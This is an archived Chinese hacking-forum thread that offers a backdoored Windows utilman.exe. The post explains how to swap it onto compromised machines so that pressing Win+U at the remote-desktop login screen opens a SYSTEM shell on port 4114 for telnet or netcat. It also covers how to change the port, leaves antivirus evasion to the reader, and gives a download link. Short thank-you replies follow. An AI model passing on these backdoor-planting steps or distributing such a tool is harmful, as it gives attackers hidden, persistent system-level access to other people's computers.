打印

win+U后门正向连接型,比shift后门隐藏多了(by kipass)

本主题由 小3 于 2008-8-23 18:47 移动

win+U后门正向连接型,比shift后门隐藏多了(by kipass)

WIN+U后门.比shift好用多了..是在原系统自带的文件改造的,只用汇编添加了相应的shell端口.开启程序的情况下会建立一个线程开放4114端口.自己可以用telnet或者nc正向连接,放肉鸡上非常隐蔽,只在xp上测试,其它系统未测试..有无后门没有自己用ida看,不要乱说,发布出来不几天可能就补杀.免杀自己做吧


用法:替换掉肉鸡系统目录中的utilman.exe,然后就可以在3389登陆的地方按win+u键出来程序后,然后就可以用telnet ip 4114就会得到一个系统级的shell,默认端口自己可以修改,用十六进制编辑工具自己修改就OK了..替换4114相应的机器码

下载地址:http://www.namipan.com/d/b019170 ... 9d9448b2a5cbd5e0000

附件

2008-05-13_095425.jpg (73.28 KB)

2008-5-13 10:45

2008-05-13_095425.jpg

2008-05-13_095436.jpg (61.36 KB)

2008-5-13 10:45

2008-05-13_095436.jpg

TOP

传说中的沙发~!

TOP

很新

TOP

我一般是使用ROOKIT的后门, 但是还谢谢了

TOP

Processed in 0.043658 second(s), 7 queries, Gzip enabled.